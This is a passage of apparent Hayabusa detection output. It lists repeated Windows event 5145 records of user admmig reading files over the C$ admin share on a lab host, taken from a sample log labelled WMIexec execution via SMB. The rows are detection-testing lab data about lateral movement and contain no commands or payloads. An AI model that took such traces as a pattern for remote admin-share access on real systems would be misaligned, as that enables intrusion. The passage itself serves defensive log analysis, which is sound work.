+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wbc80354b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Documents\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wbc80354b#\1dd94a4862b69a4583662583681346ca : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Downloads\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wc1cc6649# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Favorites\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wc1cc6649#\c869d6724028906387ff9f65e11cd9a4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Links\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wca5f1176# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Music\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wca5f1176#\0e765b6e054c8bac98f30ced03330615 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Pictures\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wcffedcb4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Saved Games\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wcffedcb4#\37b337245bcc60a0f8c6cc814157fd9f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Searches\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd75d181a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Videos\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd75d181a#\ff89d7fa29ebae7dfdd1cf2db43686dc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd518ee0d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd518ee0d#\0658126a7d3bc7b0e7f548f2e3a423fb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We9f24001# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We9f24001#\8505e29c9b52cf09d67343a0fc6f6260 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We0722664# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We0722664#\4b78e11f2ba008b681ae84f8d5ffda55 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wed3937f9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wed3937f9#\11adbe13e64f66d322e04cd718460b97 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wf493a5fb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wf493a5fb#\8b123051103ee49fa11dd81c04427182 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MIGUIControls : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MIGUIControls\26985cb1bb8c065a2e50e5ac0791fbeb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCEx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCEx\ba21ae2888a2764f3d0df9ccd1e95506 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCFxCommon : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCFxCommon\e2ac72add0eac7c6264297f0a580e745 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MSBuild : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5eda447ab5fd1d3ae7ccfa140388c8b0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\mscorlib : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\a20cafac04a2e9b3bcb5ec4d674775e5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napcrypt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napcrypt\c97155692ee6bc8729624e1a8f6371c1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\naphlpr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\naphlpr\8d352c21be1bcfb356df6fec4b6281ec : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napinit : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napinit\d39a7c06edcf81bed4470b0a8a5f4bb7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napsnap : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napsnap\285c011d18a31026f939f0b45ce83c81 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c968d57# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c968d57#\15c0f15336d9b4baa3bf042b39325008 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c9175f8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c9175f8#\63dfa31687b025a3294657e7d8861b87 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1da2af67# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1da2af67#\65893eb6f605719418cb19fada199945 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio4b37ff64# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio4b37ff64#\7258b8e8dc26562f4f79202ba192af07 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio5ae0f00f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio5ae0f00f#\37aa83ffa60682e364b3caea876452c9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio49d6fefe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio49d6fefe#\504088f50d79f510c3d363ad5a4c58cc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: 